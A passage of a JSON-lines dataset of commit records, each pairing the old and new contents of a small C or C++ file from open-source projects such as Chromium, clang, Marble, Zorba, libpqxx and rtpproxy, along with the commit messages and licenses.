Truncate(\n      FileSystemOperationContext* fs_context,\n      const FilePath& path,\n      int64 length);\n\n  friend struct DefaultSingletonTraits<QuotaFileUtil>;\n  DISALLOW_COPY_AND_ASSIGN(QuotaFileUtil);\n\n protected:\n  QuotaFileUtil() {}\n};\n\n}  \/\/ namespace fileapi\n\n#endif  \/\/ WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n#define WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n\n#include \"webkit\/fileapi\/file_system_file_util.h\"\n#include \"webkit\/fileapi\/file_system_operation_context.h\"\n#pragma once\n\nnamespace fileapi {\n\nclass QuotaFileUtil : public FileSystemFileUtil {\n public:\n  static QuotaFileUtil* GetInstance();\n  ~QuotaFileUtil() {}\n\n  static const int64 kNoLimit;\n\n  virtual base::PlatformFileError CopyOrMoveFile(\n    FileSystemOperationContext* fs_context,\n    const FilePath& src_file_path,\n    const FilePath& dest_file_path,\n    bool copy);\n\n  \/\/ TODO(dmikurube): Charge some amount of quota for directories.\n\n  virtual base::PlatformFileError Truncate(\n      FileSystemOperationContext* fs_context,\n      const FilePath& path,\n      int64 length);\n\n  friend struct DefaultSingletonTraits<QuotaFileUtil>;\n  DISALLOW_COPY_AND_ASSIGN(QuotaFileUtil);\n\n protected:\n  QuotaFileUtil() {}\n};\n\n}  \/\/ namespace fileapi\n\n#endif  \/\/ WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n","subject":"Add virtual in QuitaFileUtil to fix the compilation error in r82441.","message":"Add virtual in QuitaFileUtil to fix the compilation error in r82441.\n\nTBR=dmikurube,kinuko\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/6882112\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@82445 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium"}
{"commit":"837dabff5245b55bfde5b7c84425416831c039df","old_file":"licharger.c","new_file":"licharger.c","old_contents":"#include <avr\/io.h>\n#include <avr\/delay.h>","new_contents":"#include <avr\/io.h>\n\nint main (void) {\n\n\t\/\/Set pin 3 as output to source current?\n\tPORTB = 1<<PORTB3;\n\tDDRB = 1<<DDB3;\n\n}","subject":"Add basic program to turn an LED on","message":"Add basic program to turn an LED on\n","lang":"C","license":"mit","repos":"Atom058\/ArduinoLithiumCharger,Atom058\/ArduinoLithiumCharger"}
{"commit":"a318a6ee85491e867edadd155dfa29d793b2ad1f","old_file":"ext\/xorcist\/xorcist.c","new_file":"ext\/xorcist\/xorcist.c","old_contents":"#include \"ruby.h\"\n\nVALUE Xorcist = Qnil;\n\nvoid Init_xorcist();\n\nVALUE xor_in_place(VALUE x, VALUE y, VALUE self);\n\nVALUE xor_in_place(VALUE self, VALUE x, VALUE y) {\n    const char *src = 0;\n    char *dest = 0;\n    size_t len;\n    size_t y_len;\n\n    rb_str_modify(x);\n    dest = RSTRING_PTR(x);\n    len = RSTRING_LEN(x);\n\n    src = RSTRING_PTR(y);\n    y_len = RSTRING_LEN(y);\n\n    if (y_len < len) {\n        len = y_len;\n    }\n\n    for (; len--; ++dest, ++src) {\n        *dest ^= *src;\n    }\n\n    return x;\n}\n\nvoid Init_xorcist() {\n    Xorcist = rb_define_module(\"Xorcist\");\n    rb_define_module_function(Xorcist, \"xor!\", xor_in_place, 2);\n}\n","new_contents":"#include <ruby.h>\n\nVALUE Xorcist = Qnil;\n\nvoid Init_xorcist();\n\nVALUE xor_in_place(VALUE x, VALUE y, VALUE self);\n\nVALUE xor_in_place(VALUE self, VALUE x, VALUE y) {\n    const char *src = 0;\n    char *dest = 0;\n    size_t len;\n    size_t y_len;\n\n    rb_str_modify(x);\n    dest = RSTRING_PTR(x);\n    len = RSTRING_LEN(x);\n\n    src = RSTRING_PTR(y);\n    y_len = RSTRING_LEN(y);\n\n    if (y_len < len) {\n        len = y_len;\n    }\n\n    for (; len--; ++dest, ++src) {\n        *dest ^= *src;\n    }\n\n    return x;\n}\n\nvoid Init_xorcist() {\n    Xorcist = rb_define_module(\"Xorcist\");\n    rb_define_module_function(Xorcist, \"xor!\", xor_in_place, 2);\n}\n","subject":"Use angle brackets for Ruby include","message":"Use angle brackets for Ruby include\n","lang":"C","license":"mit","repos":"Teino1978-Corp\/Teino1978-Corp-xorcist,fny\/xorcist,fny\/xorcist,Teino1978-Corp\/Teino1978-Corp-xorcist,fny\/xorcist,fny\/xorcist,Teino1978-Corp\/Teino1978-Corp-xorcist,Teino1978-Corp\/Teino1978-Corp-xorcist"}
{"commit":"7847a35e376e39ba86bb75721f1c2e5bf79fb9ab","old_file":"test2\/structs\/lvalue\/cant.c","new_file":"test2\/structs\/lvalue\/cant.c","old_contents":"","new_contents":"\/\/ RUN: %check -e %s\n\nmain()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t} a, b, c;\n\n\ta = b ? : c; \/\/ CHECK: error: struct involved in if-expr\n}\n","subject":"Test for struct in GNU ?: expressions","message":"Test for struct in GNU ?: expressions\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"ae5143868081c97304191a55a4ecc3a390fc77e5","old_file":"src\/MarbleTest.h","new_file":"src\/MarbleTest.h","old_contents":"\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2004-2007 Torsten Rahn <tackat@kde.org>\"\n\/\/ Copyright 2007      Inge Wallin  <ingwa@kde.org>\"\n\/\/\n\n\/\/\n\/\/ Description: Some Tests for Marble\n\/\/\n\n#ifndef MARBLETEST_H\n#define MARBLETEST_H\n\nnamespace Marble\n{\n\nclass MarbleWidget;\n\nclass MarbleTest {\n public:\n    explicit MarbleTest( MarbleWidget* marbleWidget );\n    virtual ~MarbleTest(){ }\n\n    void timeDemo();\n    \n    \/**\n     * @brief load a gpx file and test the for average time, max time,\n     *        min time and total time\n     *\/\n    void gpsDemo();\n\n private:\n    MarbleWidget      *m_marbleWidget;\n};\n\n}\n\n#endif \/\/ MARBLETEST_H\n","new_contents":"\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2004-2007 Torsten Rahn <tackat@kde.org>\"\n\/\/ Copyright 2007      Inge Wallin  <ingwa@kde.org>\"\n\/\/\n\n\/\/\n\/\/ Description: Some Tests for Marble\n\/\/\n\n#ifndef MARBLETEST_H\n#define MARBLETEST_H\n\nnamespace Marble\n{\n\nclass MarbleWidget;\n\nclass MarbleTest {\n public:\n    explicit MarbleTest( MarbleWidget* marbleWidget );\n    virtual ~MarbleTest(){ }\n\n    void timeDemo();\n    \n    \/**\n     * @brief load a gpx file and test average, max, min, and total time\n     *\/\n    void gpsDemo();\n\n private:\n    MarbleWidget      *m_marbleWidget;\n};\n\n}\n\n#endif \/\/ MARBLETEST_H\n","subject":"Fix @brief description by making it on one line instead of two","message":"Fix @brief description by making it on one line instead of two\n\nsvn path=\/trunk\/KDE\/kdeedu\/marble\/; revision=879319\n","lang":"C","license":"lgpl-2.1","repos":"tucnak\/marble,David-Gil\/marble-dev,utkuaydin\/marble,tzapzoor\/marble,tucnak\/marble,Earthwings\/marble,David-Gil\/marble-dev,probonopd\/marble,quannt24\/marble,AndreiDuma\/marble,oberluz\/marble,oberluz\/marble,oberluz\/marble,quannt24\/marble,tzapzoor\/marble,Earthwings\/marble,tzapzoor\/marble,AndreiDuma\/marble,Earthwings\/marble,oberluz\/marble,David-Gil\/marble-dev,tucnak\/marble,rku\/marble,adraghici\/marble,adraghici\/marble,probonopd\/marble,probonopd\/marble,David-Gil\/marble-dev,rku\/marble,rku\/marble,utkuaydin\/marble,rku\/marble,utkuaydin\/marble,quannt24\/marble,adraghici\/marble,rku\/marble,AndreiDuma\/marble,quannt24\/marble,tucnak\/marble,quannt24\/marble,tzapzoor\/marble,adraghici\/marble,tucnak\/marble,utkuaydin\/marble,tzapzoor\/marble,Earthwings\/marble,Earthwings\/marble,quannt24\/marble,utkuaydin\/marble,tzapzoor\/marble,Earthwings\/marble,AndreiDuma\/marble,tucnak\/marble,David-Gil\/marble-dev,AndreiDuma\/marble,oberluz\/marble,adraghici\/marble,utkuaydin\/marble,tzapzoor\/marble,David-Gil\/marble-dev,rku\/marble,probonopd\/marble,adraghici\/marble,oberluz\/marble,probonopd\/marble,probonopd\/marble,tzapzoor\/marble,AndreiDuma\/marble,tucnak\/marble,quannt24\/marble,probonopd\/marble"}
{"commit":"84562bd91c74c00ad7df15ddb0e2ee8e7d8f49ab","old_file":"src\/debugger_global.h","new_file":"src\/debugger_global.h","old_contents":"#ifndef DEBUGGER_PARSER_GLOBAL_H_\n#define DEBUGGER_PARSER_GLOBAL_H_\n\n#include \"common.h\"\n\n#include <stdio.h>\n\nstruct debug_expr {\n    enum expr_type { EXPR_NULL, EXPR_MEM, EXPR_REG } type;\n    int32_t val;\n};\n\nenum display_type {\n    DISP_NULL,\n\n    DISP_DEC,\n    DISP_HEX,\n    DISP_INST,\n\n    DISP_max\n};\n\nstruct debugger_data {\n    struct sim_state *s;    \/\/\/< simulator state to which we belong\n\n    void *scanner;\n    void *breakpoints;\n\n    struct {\n        unsigned savecol;\n        char saveline[LINE_LEN];\n    } lexstate;\n\n    struct debug_display {\n        struct debug_display *next;\n\n        struct debug_expr expr;\n        int fmt;\n    } *displays;\n    int displays_count;\n\n    struct debug_cmd {\n        enum {\n            CMD_NULL,\n\n            CMD_CONTINUE,\n            CMD_DELETE_BREAKPOINT,\n            CMD_DISPLAY,\n            CMD_GET_INFO,\n            CMD_PRINT,\n            CMD_SET_BREAKPOINT,\n            CMD_STEP_INSTRUCTION,\n            CMD_QUIT,\n\n            CMD_max\n        } code;\n        struct {\n            struct debug_expr expr;\n            int fmt;   \/\/\/< print \/ display format character\n            char str[LINE_LEN];\n        } arg;\n    } cmd;\n};\n\nint tdbg_parse(struct debugger_data *);\nint tdbg_prompt(struct debugger_data *dd, FILE *where);\n\n#endif\n\n","new_contents":"#ifndef DEBUGGER_PARSER_GLOBAL_H_\n#define DEBUGGER_PARSER_GLOBAL_H_\n\n#include \"common.h\"\n\n#include <stdint.h>\n#include <stdio.h>\n\nstruct debug_expr {\n    enum expr_type { EXPR_NULL, EXPR_MEM, EXPR_REG } type;\n    int32_t val;\n};\n\nenum display_type {\n    DISP_NULL,\n\n    DISP_DEC,\n    DISP_HEX,\n    DISP_INST,\n\n    DISP_max\n};\n\nstruct debugger_data {\n    struct sim_state *s;    \/\/\/< simulator state to which we belong\n\n    void *scanner;\n    void *breakpoints;\n\n    struct {\n        unsigned savecol;\n        char saveline[LINE_LEN];\n    } lexstate;\n\n    struct debug_display {\n        struct debug_display *next;\n\n        struct debug_expr expr;\n        int fmt;\n    } *displays;\n    int displays_count;\n\n    struct debug_cmd {\n        enum {\n            CMD_NULL,\n\n            CMD_CONTINUE,\n            CMD_DELETE_BREAKPOINT,\n            CMD_DISPLAY,\n            CMD_GET_INFO,\n            CMD_PRINT,\n            CMD_SET_BREAKPOINT,\n            CMD_STEP_INSTRUCTION,\n            CMD_QUIT,\n\n            CMD_max\n        } code;\n        struct {\n            struct debug_expr expr;\n            int fmt;   \/\/\/< print \/ display format character\n            char str[LINE_LEN];\n        } arg;\n    } cmd;\n};\n\nint tdbg_parse(struct debugger_data *);\nint tdbg_prompt(struct debugger_data *dd, FILE *where);\n\n#endif\n\n","subject":"Mend missing reference to stdint","message":"Mend missing reference to stdint\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"970d2e0a24d25f61ba31eee9575f73f48dd1102d","old_file":"src\/debugger\/utils.h","new_file":"src\/debugger\/utils.h","old_contents":"\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ZORBA_DEBUGGER_UTILS\n#define ZORBA_DEBUGGER_UTILS\nnamespace zorba\n{\n  template<class T>\n  class ZorbaArrayAutoPointer\n  {\n    private:\n      T* thePtr;\n  \n    public:\n      ZorbaArrayAutoPointer(): thePtr(0){}\n      ZorbaArrayAutoPointer(T *aPtr): thePtr(aPtr){}\n  \n      ~ZorbaArrayAutoPointer()\n      {\n        delete[] thePtr;\n      }\n  \n      void reset(T *aPtr)\n      {\n        T* lPtr = thePtr;\n        thePtr = aPtr;\n        delete[] lPtr;\n      }\n  \n      T* get()\n      {\n        return thePtr;\n      }\n\n      T* release()\n      {\n        T* lPtr = thePtr;\n        thePtr = 0;\n        return lPtr;\n      }\n  };\n}\/\/end of namespace\n#endif\n","new_contents":"\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ZORBA_DEBUGGER_UTILS_H\n#define ZORBA_DEBUGGER_UTILS_H\nnamespace zorba\n{\n  template<class T>\n  class ZorbaArrayAutoPointer\n  {\n    private:\n      T* thePtr;\n  \n    public:\n      ZorbaArrayAutoPointer(): thePtr(0){}\n      explicit ZorbaArrayAutoPointer(T *aPtr): thePtr(aPtr){}\n  \n      ~ZorbaArrayAutoPointer()\n      {\n        if(thePtr != 0)\n        {\n          delete[] thePtr;\n        }\n      }\n  \n      void reset(T *aPtr)\n      {\n        T* lPtr = thePtr;\n        thePtr = aPtr;\n        if(thePtr != 0)\n        {\n          delete[] lPtr;\n        }\n      }\n  \n      T* get() const\n      {\n        return thePtr;\n      }\n\n      T* release()\n      {\n        T* lPtr = thePtr;\n        thePtr = 0;\n        return lPtr;\n      }\n\n      T operator[](unsigned int anIndex) const\n      {\n        return thePtr[anIndex];\n      }\n  };\n}\/\/end of namespace\n#endif\n","subject":"Add [] operator. Fix potential memory errors.","message":"Add [] operator.\nFix potential memory errors.\n","lang":"C","license":"apache-2.0","repos":"bgarrels\/zorba,bgarrels\/zorba,bgarrels\/zorba,28msec\/zorba,bgarrels\/zorba,cezarfx\/zorba,cezarfx\/zorba,28msec\/zorba,cezarfx\/zorba,cezarfx\/zorba,28msec\/zorba,bgarrels\/zorba,bgarrels\/zorba,28msec\/zorba,cezarfx\/zorba,cezarfx\/zorba,cezarfx\/zorba,28msec\/zorba,bgarrels\/zorba,28msec\/zorba,28msec\/zorba,cezarfx\/zorba,bgarrels\/zorba,cezarfx\/zorba,cezarfx\/zorba,28msec\/zorba,28msec\/zorba"}
{"commit":"951007303bdf13ef0f50de7e1b84b766c682e5d3","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include <stdio.h>\n\nint main() {\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  printf(\"O número %d é o secreto. Não conta pra ninguém!\\n\", numerosecreto);\n}\n","new_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  printf(\"Qual é o seu chute? \");\n  scanf(\"%d\", &chute);\n  printf(\"Seu chute foi %d\", chute);\n\n}\n","subject":"Update file, Alura, Introdução a C, Aula 1.5","message":"Update file, Alura, Introdução a C, Aula 1.5\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"5ac661e80c92e90ae0ed8ba658570db8f76e8490","old_file":"modules\/acct_rtcp_hep\/_acct_rtcp_hep_config.h","new_file":"modules\/acct_rtcp_hep\/_acct_rtcp_hep_config.h","old_contents":"static struct hep_ctx ctx = {\n        .initfails = 0,\n        .hints = {{ 0 }},\n        .capt_host  = \"10.0.0.1\",\n        .capt_port  = \"9060\",\n        .capt_id = 101,\n        .hep_version = 3,\n        .usessl = 0,\n        .pl_compress = 0,\n        .sendPacketsCount = 0\n};\n","new_contents":"static struct hep_ctx ctx = {\n        .initfails = 0,\n        .hints = {{ 0 }},\n        .capt_host  = \"10.0.0.1\",\n        .capt_port  = \"9060\",\n        .hints = {{ .ai_socktype = SOCK_DGRAM }},\n        .capt_id = 101,\n        .hep_version = 3,\n        .usessl = 0,\n        .pl_compress = 0,\n        .sendPacketsCount = 0\n};\n","subject":"Add .hints initializer for clarity.","message":"Add .hints initializer for clarity.\n","lang":"C","license":"bsd-2-clause","repos":"dsanders11\/rtpproxy,sippy\/rtpproxy,sippy\/rtpproxy,dsanders11\/rtpproxy,dsanders11\/rtpproxy,sippy\/rtpproxy"}
{"commit":"a8e112272be9d82ba964e4b1694539b4606b2436","old_file":"test\/CodeGen\/pointer-signext.c","new_file":"test\/CodeGen\/pointer-signext.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-pc-win32 -emit-llvm -O2 -o - %s | FileCheck %s\n\n\/\/ Under Windows 64, int and long are 32-bits.  Make sure pointer math doesn't\n\/\/ cause any sign extensions.\n\n\/\/ CHECK:      [[P:%.*]] = add i64 %param, -8\n\/\/ CHECK-NEXT: [[Q:%.*]] = inttoptr i64 [[P]] to [[R:%.*\\*]]\n\/\/ CHECK-NEXT: {{%.*}} = getelementptr inbounds [[R]] [[Q]], i64 0, i32 0\n\n#define CR(Record, TYPE, Field) \\\n  ((TYPE *) ((unsigned char *) (Record) - (unsigned char *) &(((TYPE *) 0)->Field)))\n\ntypedef struct _LIST_ENTRY {\n  struct _LIST_ENTRY  *ForwardLink;\n  struct _LIST_ENTRY  *BackLink;\n} LIST_ENTRY;\n\ntypedef struct {\n  unsigned long long    Signature;\n  LIST_ENTRY            Link;\n} MEMORY_MAP;\n\nint test(unsigned long long param)\n{\n  LIST_ENTRY      *Link;\n  MEMORY_MAP      *Entry;\n\n  Link = (LIST_ENTRY *) param;\n\n  Entry = CR (Link, MEMORY_MAP, Link);\n  return (int) Entry->Signature;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-pc-win32 -emit-llvm -O2 -o - %s | FileCheck %s\n\n\/\/ Under Windows 64, int and long are 32-bits.  Make sure pointer math doesn't\n\/\/ cause any sign extensions.\n\n\/\/ CHECK:      [[P:%.*]] = add i64 %param, -8\n\/\/ CHECK-NEXT: [[Q:%.*]] = inttoptr i64 [[P]] to [[R:%.*]]*\n\/\/ CHECK-NEXT: {{%.*}} = getelementptr inbounds [[R]]* [[Q]], i64 0, i32 0\n\n#define CR(Record, TYPE, Field) \\\n  ((TYPE *) ((unsigned char *) (Record) - (unsigned char *) &(((TYPE *) 0)->Field)))\n\ntypedef struct _LIST_ENTRY {\n  struct _LIST_ENTRY  *ForwardLink;\n  struct _LIST_ENTRY  *BackLink;\n} LIST_ENTRY;\n\ntypedef struct {\n  unsigned long long    Signature;\n  LIST_ENTRY            Link;\n} MEMORY_MAP;\n\nint test(unsigned long long param)\n{\n  LIST_ENTRY      *Link;\n  MEMORY_MAP      *Entry;\n\n  Link = (LIST_ENTRY *) param;\n\n  Entry = CR (Link, MEMORY_MAP, Link);\n  return (int) Entry->Signature;\n}\n","subject":"Adjust test case to be compatible with future changes to explicitly pass the type to getelementptr","message":"Adjust test case to be compatible with future changes to explicitly pass the type to getelementptr\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@229196 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"181f9eba6f31b27bd669e6b70a48488fab25389a","old_file":"src\/nrf24.c","new_file":"src\/nrf24.c","old_contents":"","new_contents":"\/*\n * This file is part of the KNOT Project\n *\n * Copyright (c) 2015, CESAR. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *    * Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *    * Redistributions in binary form must reproduce the above copyright\n *      notice, this list of conditions and the following disclaimer in the\n *      documentation and\/or other materials provided with the distribution.\n *    * Neither the name of the CESAR nor the\n *      names of its contributors may be used to endorse or promote products\n *      derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL CESAR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <errno.h>\n#include <unistd.h>\n#include <string.h>\n#include <sys\/socket.h>\n#include <sys\/un.h>\n\n#include \"node.h\"\n\nstatic int nrf24_probe(void)\n{\n\treturn -ENOSYS;\n}\n\nstatic void nrf24_remove(void)\n{\n\n}\n\nstatic int nrf24_listen(void)\n{\n\treturn -ENOSYS;\n}\n\nstatic int nrf24_accept(int srv_sockfd)\n{\n\treturn -ENOSYS;\n}\n\nstatic ssize_t nrf24_recv(int sockfd, void *buffer, size_t len)\n{\n\treturn -ENOSYS;\n}\n\nstatic ssize_t nrf24_send(int sockfd, const void *buffer, size_t len)\n{\n\treturn -ENOSYS;\n}\n\nstatic struct node_ops nrf24_ops = {\n\t.name = \"NRF24L01\",\n\t.probe = nrf24_probe,\n\t.remove = nrf24_remove,\n\n\t.listen = nrf24_listen,\n\t.accept = nrf24_accept,\n\t.recv = nrf24_recv,\n\t.send = nrf24_send\n};\n\n\/*\n * The following functions MAY be implemented as plugins\n * initialization functions, avoiding function calls such\n * as manager@manager_start()->node@node_init()->\n * manager@node_ops_register()->node@node_probe()\n *\/\nint node_init(void)\n{\n\treturn node_ops_register(&nrf24_ops);\n}\n\nvoid node_exit(void)\n{\n}\n","subject":"Add NRF24L01 node_ops 'driver' skeleton","message":"gw: Add NRF24L01 node_ops 'driver' skeleton\n\nThis patch adds the initial code to implement node_ops 'driver'\nabstraction for NRF24L01. NRF24L01 is connected to the host through SPI\nconnection, and multiple users must be managed using 'pipes' which are\nanalogous to radio access code for a logical channel.\n","lang":"C","license":"lgpl-2.1","repos":"CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source,CESARBR\/knot-service-source"}
{"commit":"8035340f994f48b8b5f7c0d382517c3243b58ac3","old_file":"libpqxx\/include\/pqxx\/util.h","new_file":"libpqxx\/include\/pqxx\/util.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n *   FILE\n *\tpqxx\/util.h\n *\n *   DESCRIPTION\n *      Various utility definitions for libpqxx\n *\n * Copyright (c) 2001-2004, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license.  If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef PQXX_UTIL_H\n#define PQXX_UTIL_H\n\n#if defined(PQXX_HAVE_CPP_WARNING)\n#warning \"Deprecated libpqxx header included.  Use headers without '.h'\"\n#elif defined(PQXX_HAVE_CPP_PRAGMA_MESSAGE)\n#pragma message(\"Deprecated libpqxx header included.  Use headers without '.h'\")\n#endif\n\n#define PQXX_DEPRECATED_HEADERS\n#include \"pqxx\/util\"\n\n#endif\n\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n *   FILE\n *\tpqxx\/util.h\n *\n *   DESCRIPTION\n *      Various utility definitions for libpqxx\n *\n * Copyright (c) 2001-2004, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license.  If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef PQXX_UTIL_H\n#define PQXX_UTIL_H\n\n#if !defined(PQXXYES_I_KNOW_DEPRECATED_HEADER)\n#define PQXXYES_I_KNOW_DEPRECATED_HEADER\n#if defined(PQXX_HAVE_CPP_WARNING)\n#warning \"Deprecated libpqxx header included.  Use headers without '.h'\"\n#elif defined(PQXX_HAVE_CPP_PRAGMA_MESSAGE)\n#pragma message(\"Deprecated libpqxx header included.  Use headers without '.h'\")\n#endif\n#endif\n\n#define PQXX_DEPRECATED_HEADERS\n#include \"pqxx\/util\"\n\n#endif\n\n","subject":"Allow suppression of \"deprecated header\" warning","message":"Allow suppression of \"deprecated header\" warning\n","lang":"C","license":"bsd-3-clause","repos":"jtv\/libpqxx,jtv\/libpqxx,jtv\/libpqxx,jtv\/libpqxx"}
{"commit":"f16b686efbe6bfe50c1fbb3c5b318c279fc16ec0","old_file":"include\/rime\/common.h","new_file":"include\/rime\/common.h","old_contents":"\/\/\n\/\/ Copyleft RIME Developers\n\/\/ License: GPLv3\n\/\/\n\/\/ 2011-03-14 GONG Chen <chen.sst@gmail.com>\n\/\/\n#ifndef RIME_COMMON_H_\n#define RIME_COMMON_H_\n\n#include <memory>\n#include <utility>\n#define BOOST_BIND_NO_PLACEHOLDERS\n#include <boost\/signals2\/connection.hpp>\n#include <boost\/signals2\/signal.hpp>\n\n#ifdef RIME_ENABLE_LOGGING\n#include <glog\/logging.h>\n#else\n#include \"no_logging.h\"\n#endif  \/\/ RIME_ENABLE_LOGGGING\n\nnamespace rime {\n\nusing boost::signals2::connection;\nusing boost::signals2::signal;\n\nusing std::unique_ptr;\nusing std::shared_ptr;\nusing std::weak_ptr;\n\ntemplate <class A, class B>\nshared_ptr<A> As(const B& ptr) {\n  return std::dynamic_pointer_cast<A>(ptr);\n}\n\ntemplate <class A, class B>\nbool Is(const B& ptr) {\n  return bool(As<A, B>(ptr));\n}\n\ntemplate <class T, class... Args>\ninline shared_ptr<T> New(Args&&... args) {\n  return std::make_shared<T>(std::forward<Args>(args)...);\n}\n\n}  \/\/ namespace rime\n\n#endif  \/\/ 